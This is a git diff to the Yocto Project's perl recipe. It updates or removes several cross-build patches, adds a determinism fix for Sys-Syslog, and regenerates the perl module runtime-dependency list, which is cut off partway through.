diff --git a/meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch b/meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch
deleted file mode 100644
index 3b0fc453e5..0000000000
--- a/meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From 19c1987b455998d2959a5fdf3d1ed911d35e70f2 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 2 Jan 2019 17:55:35 +0100
-Subject: [PATCH] configure_path.sh: do not hardcode $prefix/lib as library
- path
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- cnf/configure_args.sh | 2 +-
- cnf/configure_path.sh | 11 ++++++-----
- 2 files changed, 7 insertions(+), 6 deletions(-)
-
-diff --git a/cnf/configure_args.sh b/cnf/configure_args.sh
-index 29ca4f5..3297fb3 100644
---- a/cnf/configure_args.sh
-+++ b/cnf/configure_args.sh
-@@ -155,7 +155,7 @@ while [ $i -le $# -o -n "$n" ]; do
- help) mode="help" ;;
- regen|regenerate) mode="regen" ;;
- keeplog) defuser "$a" 1 ;;
-- prefix|html[13]dir|libsdir) defuser $a "$v" ;;
-+ prefix|html[13]dir|libsdir|libdir) defuser $a "$v" ;;
- man[13]dir|otherlibsdir) defuser $a "$v" ;;
- siteprefix|sitehtml[13]dir) defuser $a "$v" ;;
- siteman[13]dir|vendorman[13]dir)defuser $a "$v" ;;
-diff --git a/cnf/configure_path.sh b/cnf/configure_path.sh
-index fe7eac7..bcba8b8 100644
---- a/cnf/configure_path.sh
-+++ b/cnf/configure_path.sh
-@@ -30,6 +30,7 @@ definst() {
- define "$1" "$installpath$v"
- }
-
-+define libdir "$prefix/lib"
- define sharedir "$prefix/share"
- define html1dir "$sharedir/doc/$perlname/html"
- define html3dir "$sharedir/doc/$perlname/html"
-@@ -38,16 +39,16 @@ define man1ext "1"
- define man3dir "$sharedir/man/man3"
- define man3ext "3"
- define bin "$prefix/bin"
--define lib "$prefix/lib"
-+define lib "$libdir"
- define scriptdir "$prefix/bin"
- define libsdirs ' '
--defrel privlib "$prefix/lib/$package/$version"
--defrel archlib "$prefix/lib/$package/$version/$archname"
-+defrel privlib "$libdir/$package/$version"
-+defrel archlib "$libdir/$package/$version/$archname"
- define perlpath "$prefix/bin/$perlname"
- define d_archlib 'define'
-
- define sitebin "$prefix/bin"
--defrel sitelib_stem "$prefix/lib/$package/site_perl"
-+defrel sitelib_stem "$libdir/$package/site_perl"
- define sitelib "$sitelib_stem/$version"
- define sitearch "$sitelib_stem/$version/$archname"
- define siteprefix "$prefix"
-@@ -145,7 +146,7 @@ vendortest() {
- }
-
- vendorpath vendorbin "$vendorprefix/bin"
--vendorpath vendorlib_stem "$vendorprefix/lib/$package/vendor_perl"
-+vendorpath vendorlib_stem "$libdir/$package/vendor_perl"
- vendorpath vendorlib "$vendorlib_stem/$version"
- vendorpath vendorarch "$vendorlib_stem/$version/$archname"
- vendorpath vendorscript "$vendorprefix/bin"
diff --git a/meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch b/meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch
deleted file mode 100644
index 0aaeaa29eb..0000000000
--- a/meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From a66811c487ecf8ba8724879c253bb10dfa82aeb5 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 1 Jun 2018 19:57:32 +0300
-Subject: [PATCH] configure_tool.sh: do not quote the argument to 'command'
-
-As it seems to break things if the argument has spaces and arguments in it.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- cnf/configure_tool.sh | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/cnf/configure_tool.sh b/cnf/configure_tool.sh
-index 32201c0..461bc68 100644
---- a/cnf/configure_tool.sh
-+++ b/cnf/configure_tool.sh
-@@ -2,7 +2,7 @@
-
- tryprog() {
- log "trying $1=$2"
-- if command -v "$2" 1>/dev/null 2>/dev/null; then
-+ if command -v $2 1>/dev/null 2>/dev/null; then
- define "$1" "$2"
- result "$2"
- return 0
---
-2.17.0
-
diff --git a/meta/recipes-devtools/perl/files/0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch b/meta/recipes-devtools/perl/files/0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch
new file mode 100644
index 0000000000..63815d44fb
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch
@@ -0,0 +1,36 @@
+From a73fff1fcf0def4ce93964f1b63fe3ad0967259d Mon Sep 17 00:00:00 2001
+From: Robert Yang <liezhi.yang@windriver.com>
+Date: Fri, 18 Feb 2022 09:44:26 +0000
+Subject: [PATCH] cpan/Sys-Syslog/Makefile.PL: Fix _PATH_LOG for deterministic
+
+It checks host's path such as /dev/log and uses it, this doesn't make sense for
+cross build, and it causes undeterministic, for example, the contianer os
+usually doesn't have /dev/log which leads to a different build result since
+other host usually has /dev/log, so make it always use the default value to fix
+the issue.
+
+Submitted a ticket to upstream: https://rt.cpan.org/Ticket/Display.html?id=141612
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+---
+ cpan/Sys-Syslog/Makefile.PL | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/cpan/Sys-Syslog/Makefile.PL b/cpan/Sys-Syslog/Makefile.PL
+index d09ba69..d44e58c 100644
+--- a/cpan/Sys-Syslog/Makefile.PL
++++ b/cpan/Sys-Syslog/Makefile.PL
+@@ -130,6 +130,8 @@ else {
+ $_PATH_LOG = "";
+ }
+
++# OE specific
++$_PATH_LOG = "";
+
+ # if possible, generate the code that handles the constants with
+ # ExtUtils::Constant, otherwise use cached copy in fallback/
+--
+2.31.1
+
diff --git a/meta/recipes-devtools/perl/files/determinism.patch b/meta/recipes-devtools/perl/files/determinism.patch
index ccdd52a0d0..aa85ccef10 100644
--- a/meta/recipes-devtools/perl/files/determinism.patch
+++ b/meta/recipes-devtools/perl/files/determinism.patch
@@ -21,19 +21,6 @@ RP 2020/2/7
Upstream-Status: Pending [75% submitted]
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
-Index: perl-5.30.1/cnf/configure_mods.sh
-===================================================================
---- perl-5.30.1.orig/cnf/configure_mods.sh
-+++ perl-5.30.1/cnf/configure_mods.sh
-@@ -82,7 +82,7 @@ extonlyif() {
- }
-
- definetrimspaces() {
-- v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//'`
-+ v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//' | xargs -n1 | LANG=C sort | xargs`
- define $1 "$v"
- }
-
Index: perl-5.30.1/cpan/Encode/Byte/Makefile.PL
===================================================================
--- perl-5.30.1.orig/cpan/Encode/Byte/Makefile.PL
@@ -56,13 +43,3 @@ Index: perl-5.30.1/cpan/Encode/Byte/Makefile.PL
{
print FILELIST $self->catfile($dir,$file) . "\n";
}
-Index: perl-5.30.1/cnf/configure
-===================================================================
---- perl-5.30.1.orig/cnf/configure
-+++ perl-5.30.1/cnf/configure
-@@ -1,4 +1,4 @@
--#!/bin/sh
-+#!/bin/bash
-
- base=${0%/*}; test -z "$base" && base=.
-
diff --git a/meta/recipes-devtools/perl/files/native-perlinc.patch b/meta/recipes-devtools/perl/files/native-perlinc.patch
index a2e1aefd41..20d7fe6060 100644
--- a/meta/recipes-devtools/perl/files/native-perlinc.patch
+++ b/meta/recipes-devtools/perl/files/native-perlinc.patch
@@ -1,4 +1,4 @@
-Upstream-Status:Inappropriate [embedded specific]
+Upstream-Status: Inappropriate [embedded specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
Index: perl-5.8.8/lib/ExtUtils/MM_Unix.pm
diff --git a/meta/recipes-devtools/perl/files/perl-configpm-switch.patch b/meta/recipes-devtools/perl/files/perl-configpm-switch.patch
index 80ce4a6de7..0be1d5a93c 100644
--- a/meta/recipes-devtools/perl/files/perl-configpm-switch.patch
+++ b/meta/recipes-devtools/perl/files/perl-configpm-switch.patch
@@ -1,4 +1,4 @@
-From 5120acaa2be5787d9657f6b91bc8ee3c2d664fbe Mon Sep 17 00:00:00 2001
+From c25d460a2f00e9af25087d40447fe1a81c89710c Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Sun, 27 May 2007 21:04:11 +0000
Subject: [PATCH] perl: 5.8.7 -> 5.8.8 (from OE)
@@ -20,38 +20,38 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 16 insertions(+), 2 deletions(-)
diff --git a/configpm b/configpm
-index c8de8bf..204613c 100755
+index 07219d8..01a23fa 100755
--- a/configpm
+++ b/configpm
-@@ -687,7 +687,7 @@ sub FETCH {
- my($self, $key) = @_;
-
- # check for cached value (which may be undef so we use exists not defined)
-- return exists $self->{$key} ? $self->{$key} : $self->fetch_string($key);
-+ return $self->fetch_string($key);
- }
-
+@@ -718,7 +718,7 @@ $config_txt .= uncomment <<'ENDOFEND';
+ # my($self, $key) = @_;
+ #
+ # # check for cached value (which may be undef so we use exists not defined)
+-# return exists $self->{$key} ? $self->{$key} : $self->fetch_string($key);
++# return $self->fetch_string($key);
+ # }
+ #
ENDOFEND
-@@ -845,7 +845,21 @@ $config_txt .= sprintf <<'ENDOFTIE', $fast_config;
- sub DESTROY { }
-
- sub AUTOLOAD {
-- require 'Config_heavy.pl';
-+ my $cfgfile = 'Config_heavy.pl';
-+ if (defined $ENV{PERLCONFIGTARGET} and $ENV{PERLCONFIGTARGET} eq "yes")
-+ {
-+ $cfgfile = 'Config_heavy-target.pl';
-+ }
-+ if (defined $ENV{PERL_ARCHLIB})
-+ {
-+ push @INC, $ENV{PERL_ARCHLIB};
-+ require $cfgfile;
-+ pop @INC;
-+ }
-+ else
-+ {
-+ require $cfgfile;
-+ }
- goto \&launcher unless $Config::AUTOLOAD =~ /launcher$/;
- die "&Config::AUTOLOAD failed on $Config::AUTOLOAD";
- }
+@@ -876,7 +876,21 @@ $config_txt .= sprintf uncomment <<'ENDOFTIE', $fast_config;
+ # sub DESTROY { }
+ #
+ # sub AUTOLOAD {
+-# require 'Config_heavy.pl';
++# my $cfgfile = 'Config_heavy.pl';
++# if (defined $ENV{PERLCONFIGTARGET} and $ENV{PERLCONFIGTARGET} eq "yes")
++# {
++# $cfgfile = 'Config_heavy-target.pl';
++# }
++# if (defined $ENV{PERL_ARCHLIB})
++# {
++# push @INC, $ENV{PERL_ARCHLIB};
++# require $cfgfile;
++# pop @INC;
++# }
++# else
++# {
++# require $cfgfile;
++# }
+ # goto \&launcher unless $Config::AUTOLOAD =~ /launcher$/;
+ # die "&Config::AUTOLOAD failed on $Config::AUTOLOAD";
+ # }
diff --git a/meta/recipes-devtools/perl/files/perl-cross-makefile.patch b/meta/recipes-devtools/perl/files/perl-cross-makefile.patch
deleted file mode 100644
index 5d3f998200..0000000000
--- a/meta/recipes-devtools/perl/files/perl-cross-makefile.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-Makefile: Avoid continual rebuilds of miniperl and associated races
-
-In the Yocto Project, when we run "make install" we notice miniperl
-rebuilding multiple times. Usually this is harmless however sometimes
-race issues occur such as miniperl not being executable.
-
-The issue is that crosspatch is a phony target so it always rebuilds.
-Adding this as a dependency of miniperl means miniperl always rebuilds
-too.
-
-Avoid this by injecting a direct dependency avoiding the phony target.
-miniperl is then only rebuilt when its input changes as desired.
-
-Signed-off-by: Richard Purdie richard.purdie@linuxfoundation.org
-Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/95]
-
-Index: perl-5.32.0/Makefile
-===================================================================
---- perl-5.32.0.orig/Makefile
-+++ perl-5.32.0/Makefile
-@@ -56,7 +56,7 @@ crosspatch: $(CROSSPATCHED)
-
- # A minor fix for buildroot, force crosspatching when running "make perl modules"
- # instead of "make all".
--miniperlmain$O: crosspatch
-+miniperlmain$O: $(CROSSPATCHED)
-
- # Original versions are not saved anymore; patch generally takes care of this,
- # and if that fails, reaching for the source tarball is the safest option.
diff --git a/meta/recipes-devtools/perl/files/perl-dynloader.patch b/meta/recipes-devtools/perl/files/perl-dynloader.patch
index 6bb832a426..887f7c0f7f 100644
--- a/meta/recipes-devtools/perl/files/perl-dynloader.patch
+++ b/meta/recipes-devtools/perl/files/perl-dynloader.patch
@@ -1,4 +1,4 @@
-Upstream-Status:Inappropriate [embedded specific]
+Upstream-Status: Inappropriate [embedded specific]
Allow the location that .so files are searched for for dynamic
loading to be changed via an environment variable. This is to allow
@@ -22,7 +22,7 @@ Index: perl-5.24.1/dist/XSLoader/XSLoader_pm.PL
+ my $hostlib = $ENV{PERLHOSTLIB};
+ my $hostarchlib = $ENV{PERLHOSTARCHLIB};
+ print STDERR "*** Module name IN: $modlibname\n";
-+ ($p1, $p2, $p3, $p4, $p5, $p6, $p7) = $modlibname =~ m/(^(.*lib\w*\/)?)((perl5\/[0-9\.]*\/)?)(([^\/]*)\/)?(.*)$/;
++ my ($p1, $p2, $p3, $p4, $p5, $p6, $p7) = $modlibname =~ m/(^(.*lib\w*\/)?)((perl5\/[0-9\.]*\/)?)(([^\/]*)\/)?(.*)$/;
+ print STDERR "*** p1: $p1 p3: $p3 p5: $p5 p7: $p7\n";
+ if ( $p1 ne "" ) {
+ $modlibname = $hostlib.$p7;
diff --git a/meta/recipes-devtools/perl/files/perl-rdepends.txt b/meta/recipes-devtools/perl/files/perl-rdepends.txt
index e7cd551988..e5f45bf291 100644
--- a/meta/recipes-devtools/perl/files/perl-rdepends.txt
+++ b/meta/recipes-devtools/perl/files/perl-rdepends.txt
@@ -1,2017 +1,2338 @@
-RDEPENDS_perl-module-anydbm-file += "perl-module-strict"
-RDEPENDS_perl-module-anydbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-app-cpan += "perl-module-config"
-RDEPENDS_perl-module-app-cpan += "perl-module-constant"
-RDEPENDS_perl-module-app-cpan += "perl-module-cpan"
-RDEPENDS_perl-module-app-cpan += "perl-module-cwd"
-RDEPENDS_perl-module-app-cpan += "perl-module-data-dumper"
-RDEPENDS_perl-module-app-cpan += "perl-module-file-basename"
-RDEPENDS_perl-module-app-cpan += "perl-module-file-find"
-RDEPENDS_perl-module-app-cpan += "perl-module-getopt-std"
-RDEPENDS_perl-module-app-cpan += "perl-module-if"
-RDEPENDS_perl-module-app-cpan += "perl-module-net-ping"
-RDEPENDS_perl-module-app-cpan += "perl-module-strict"
-RDEPENDS_perl-module-app-cpan += "perl-module-user-pwent"
-RDEPENDS_perl-module-app-cpan += "perl-module-vars"
-RDEPENDS_perl-module-app-cpan += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove += "perl-module-app-prove-state"
-RDEPENDS_perl-module-app-prove += "perl-module-base"
-RDEPENDS_perl-module-app-prove += "perl-module-constant"
-RDEPENDS_perl-module-app-prove += "perl-module-getopt-long"
-RDEPENDS_perl-module-app-prove += "perl-module-strict"
-RDEPENDS_perl-module-app-prove += "perl-module-tap-harness"
-RDEPENDS_perl-module-app-prove += "perl-module-tap-harness-env"
-RDEPENDS_perl-module-app-prove += "perl-module-text-parsewords"
-RDEPENDS_perl-module-app-prove += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state += "perl-module-app-prove-state-result"
-RDEPENDS_perl-module-app-prove-state += "perl-module-base"
-RDEPENDS_perl-module-app-prove-state += "perl-module-constant"
-RDEPENDS_perl-module-app-prove-state += "perl-module-file-find"
-RDEPENDS_perl-module-app-prove-state += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state += "perl-module-tap-parser-yamlish-reader"
-RDEPENDS_perl-module-app-prove-state += "perl-module-tap-parser-yamlish-writer"
-RDEPENDS_perl-module-app-prove-state += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-app-prove-state-result-test"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-constant"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state-result-test += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state-result-test += "perl-module-warnings"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-constant"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-exporter"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-io-compress-bzip2"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-time-local"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-warnings"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-archive-tar"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-archive-tar-constant"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-file-basename"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-io-file"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-vars"
-RDEPENDS_perl-module-archive-tar += "perl-module-archive-tar-constant"
-RDEPENDS_perl-module-archive-tar += "perl-module-archive-tar-file"
-RDEPENDS_perl-module-archive-tar += "perl-module-config"
-RDEPENDS_perl-module-archive-tar += "perl-module-cwd"
-RDEPENDS_perl-module-archive-tar += "perl-module-exporter"
-RDEPENDS_perl-module-archive-tar += "perl-module-file-path"
-RDEPENDS_perl-module-archive-tar += "perl-module-io-file"
-RDEPENDS_perl-module-archive-tar += "perl-module-io-zlib"
-RDEPENDS_perl-module-archive-tar += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar += "perl-module-vars"
-RDEPENDS_perl-module-attribute-handlers += "perl-module-strict"
-RDEPENDS_perl-module-attribute-handlers += "perl-module-warnings"
-RDEPENDS_perl-module-attributes += "perl-module-exporter"
-RDEPENDS_perl-module-attributes += "perl-module-strict"
-RDEPENDS_perl-module-attributes += "perl-module-warnings"
-RDEPENDS_perl-module-attributes += "perl-module-xsloader"
-RDEPENDS_perl-module-autodie-exception += "perl-module-constant"
-RDEPENDS_perl-module-autodie-exception += "perl-module-fatal"
-RDEPENDS_perl-module-autodie-exception += "perl-module-fcntl"
-RDEPENDS_perl-module-autodie-exception += "perl-module-overload"
-RDEPENDS_perl-module-autodie-exception += "perl-module-strict"
-RDEPENDS_perl-module-autodie-exception += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-parent"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-strict"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-hints += "perl-module-b"
-RDEPENDS_perl-module-autodie-hints += "perl-module-constant"
-RDEPENDS_perl-module-autodie-hints += "perl-module-strict"
-RDEPENDS_perl-module-autodie-hints += "perl-module-warnings"
-RDEPENDS_perl-module-autodie += "perl-module-constant"
-RDEPENDS_perl-module-autodie += "perl-module-lib"
-RDEPENDS_perl-module-autodie += "perl-module-parent"
-RDEPENDS_perl-module-autodie += "perl-module-strict"
-RDEPENDS_perl-module-autodie += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-scope-guard += "perl-module-strict"
-RDEPENDS_perl-module-autodie-scope-guard += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-autodie-scope-guard"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-strict"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-skip += "perl-module-strict"
-RDEPENDS_perl-module-autodie-skip += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-util += "perl-module-autodie-scope-guardstack"
-RDEPENDS_perl-module-autodie-util += "perl-module-exporter"
-RDEPENDS_perl-module-autodie-util += "perl-module-strict"
-RDEPENDS_perl-module-autodie-util += "perl-module-warnings"
-RDEPENDS_perl-module-autoloader += "perl-module-strict"
-RDEPENDS_perl-module-autosplit += "perl-module-config"
-RDEPENDS_perl-module-autosplit += "perl-module-exporter"
-RDEPENDS_perl-module-autosplit += "perl-module-file-basename"
-RDEPENDS_perl-module-autosplit += "perl-module-file-path"
-RDEPENDS_perl-module-autosplit += "perl-module-strict"
-RDEPENDS_perl-module-base += "perl-module-strict"
-RDEPENDS_perl-module-b-concise += "perl-module-b"
-RDEPENDS_perl-module-b-concise += "perl-module-b-op-private"
-RDEPENDS_perl-module-b-concise += "perl-module-config"
-RDEPENDS_perl-module-b-concise += "perl-module-exporter"
-RDEPENDS_perl-module-b-concise += "perl-module-feature"
-RDEPENDS_perl-module-b-concise += "perl-module-strict"
-RDEPENDS_perl-module-b-concise += "perl-module-warnings"
-RDEPENDS_perl-module-benchmark += "perl-module-exporter"
-RDEPENDS_perl-module-benchmark += "perl-module-strict"
-RDEPENDS_perl-module-bigint += "perl-module-constant"
-RDEPENDS_perl-module-bigint += "perl-module-exporter"
-RDEPENDS_perl-module-bigint += "perl-module-math-bigint"
-RDEPENDS_perl-module-bigint += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bigint += "perl-module-overload"
-RDEPENDS_perl-module-bigint += "perl-module-strict"
-RDEPENDS_perl-module-bigint += "perl-module-warnings"
-RDEPENDS_perl-module-bignum += "perl-module-bigint"
-RDEPENDS_perl-module-bignum += "perl-module-exporter"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigfloat-trace"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigint"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bignum += "perl-module-overload"
-RDEPENDS_perl-module-bignum += "perl-module-strict"
-RDEPENDS_perl-module-bignum += "perl-module-warnings"
-RDEPENDS_perl-module-bigrat += "perl-module-bigint"
-RDEPENDS_perl-module-bigrat += "perl-module-exporter"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigint"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigrat"
-RDEPENDS_perl-module-bigrat += "perl-module-overload"
-RDEPENDS_perl-module-bigrat += "perl-module-strict"
-RDEPENDS_perl-module-bigrat += "perl-module-warnings"
-RDEPENDS_perl-module-blib += "perl-module-cwd"
-RDEPENDS_perl-module-b += "perl-module-exporter"
-RDEPENDS_perl-module-b += "perl-module-xsloader"
-RDEPENDS_perl-module-b-showlex += "perl-module-b"
-RDEPENDS_perl-module-b-showlex += "perl-module-b-concise"
-RDEPENDS_perl-module-b-showlex += "perl-module-b-terse"
-RDEPENDS_perl-module-b-showlex += "perl-module-strict"
-RDEPENDS_perl-module-b-terse += "perl-module-b"
-RDEPENDS_perl-module-b-terse += "perl-module-b-concise"
-RDEPENDS_perl-module-b-terse += "perl-module-strict"
-RDEPENDS_perl-module-b-xref += "perl-module-b"
-RDEPENDS_perl-module-b-xref += "perl-module-config"
-RDEPENDS_perl-module-b-xref += "perl-module-strict"
-RDEPENDS_perl-module-bytes += "perl-module-bytes-heavy"
-RDEPENDS_perl-module--charnames += "perl-module-bytes"
-RDEPENDS_perl-module-charnames += "perl-module-bytes"
-RDEPENDS_perl-module-charnames += "perl-module--charnames"
-RDEPENDS_perl-module--charnames += "perl-module-re"
-RDEPENDS_perl-module-charnames += "perl-module-re"
-RDEPENDS_perl-module--charnames += "perl-module-strict"
-RDEPENDS_perl-module-charnames += "perl-module-strict"
-RDEPENDS_perl-module--charnames += "perl-module-warnings"
-RDEPENDS_perl-module-charnames += "perl-module-warnings"
-RDEPENDS_perl-module-class-struct += "perl-module-exporter"
-RDEPENDS_perl-module-class-struct += "perl-module-strict"
-RDEPENDS_perl-module-class-struct += "perl-module-warnings-register"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-bytes "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-constant"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-dynaloader"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-exporter"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-strict "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-warnings "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-xsloader"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-bytes "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-constant"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-dynaloader"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-exporter"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-strict "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-warnings "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-xsloader"
-RDEPENDS_perl-module-compress-zlib += "perl-module-bytes "
-RDEPENDS_perl-module-compress-zlib += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-compress-zlib += "perl-module-constant"
-RDEPENDS_perl-module-compress-zlib += "perl-module-exporter"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-gzip"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-handle "
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-uncompress-gunzip"
-RDEPENDS_perl-module-compress-zlib += "perl-module-strict "
-RDEPENDS_perl-module-compress-zlib += "perl-module-warnings "
-RDEPENDS_perl-module-config-extensions += "perl-module-config"
-RDEPENDS_perl-module-config-extensions += "perl-module-exporter"
-RDEPENDS_perl-module-config-extensions += "perl-module-strict"
-RDEPENDS_perl-module-config-perl-v += "perl-module-config"
-RDEPENDS_perl-module-config-perl-v += "perl-module-exporter"
-RDEPENDS_perl-module-config-perl-v += "perl-module-strict"
-RDEPENDS_perl-module-config-perl-v += "perl-module-vars"
-RDEPENDS_perl-module-config-perl-v += "perl-module-warnings"
-RDEPENDS_perl-module-constant += "perl-module-strict"
-RDEPENDS_perl-module-constant += "perl-module-warnings-register"
-RDEPENDS_perl-module-corelist += "perl-module-list-util"
-RDEPENDS_perl-module-corelist += "perl-module-corelist"
-RDEPENDS_perl-module-corelist += "perl-module-strict"
-RDEPENDS_perl-module-corelist += "perl-module-version"
-RDEPENDS_perl-module-corelist += "perl-module-warnings"
-RDEPENDS_perl-module-cpan += "perl-module-b"
-RDEPENDS_perl-module-cpan += "perl-module-config"
-RDEPENDS_perl-module-cpan += "perl-module-cwd"
-RDEPENDS_perl-module-cpan += "perl-module-data-dumper"
-RDEPENDS_perl-module-cpan += "perl-module-dirhandle"
-RDEPENDS_perl-module-cpan += "perl-module-errno"
-RDEPENDS_perl-module-cpan += "perl-module-exporter"
-RDEPENDS_perl-module-cpan += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-cpan += "perl-module-extutils-manifest"
-RDEPENDS_perl-module-cpan += "perl-module-fcntl"
-RDEPENDS_perl-module-cpan += "perl-module-file-basename"
-RDEPENDS_perl-module-cpan += "perl-module-file-copy"
-RDEPENDS_perl-module-cpan += "perl-module-file-find"
-RDEPENDS_perl-module-cpan += "perl-module-filehandle"
-RDEPENDS_perl-module-cpan += "perl-module-file-path"
-RDEPENDS_perl-module-cpan += "perl-module-json-pp"
-RDEPENDS_perl-module-cpan += "perl-module-lib"
-RDEPENDS_perl-module-cpan += "perl-module-net-ping"
-RDEPENDS_perl-module-cpan += "perl-module-overload"
-RDEPENDS_perl-module-cpan += "perl-module-posix"
-RDEPENDS_perl-module-cpan += "perl-module-safe"
-RDEPENDS_perl-module-cpan += "perl-module-strict"
-RDEPENDS_perl-module-cpan += "perl-module-sys-hostname"
-RDEPENDS_perl-module-cpan += "perl-module-term-readline"
-RDEPENDS_perl-module-cpan += "perl-module-text-parsewords"
-RDEPENDS_perl-module-cpan += "perl-module-text-wrap"
-RDEPENDS_perl-module-cpan += "perl-module-time-local"
-RDEPENDS_perl-module-cpan += "perl-module-vars"
-RDEPENDS_perl-module-cpan += "perl-module-warnings"
-RDEPENDS_perl-module-cwd += "perl-module-errno"
-RDEPENDS_perl-module-cwd += "perl-module-exporter"
-RDEPENDS_perl-module-cwd += "perl-module-strict"
-RDEPENDS_perl-module-cwd += "perl-module-xsloader"
-RDEPENDS_perl-module-data-dumper += "perl-module-config"
-RDEPENDS_perl-module-data-dumper += "perl-module-constant"
-RDEPENDS_perl-module-data-dumper += "perl-module-exporter"
-RDEPENDS_perl-module-data-dumper += "perl-module-xsloader"
-RDEPENDS_perl-module-db-file += "perl-module-dynaloader"
-RDEPENDS_perl-module-db-file += "perl-module-exporter"
-RDEPENDS_perl-module-db-file += "perl-module-fcntl"
-RDEPENDS_perl-module-db-file += "perl-module-strict "
-RDEPENDS_perl-module-db-file += "perl-module-strict"
-RDEPENDS_perl-module-db-file += "perl-module-tie-hash"
-RDEPENDS_perl-module-db-file += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-compress += "perl-module-strict"
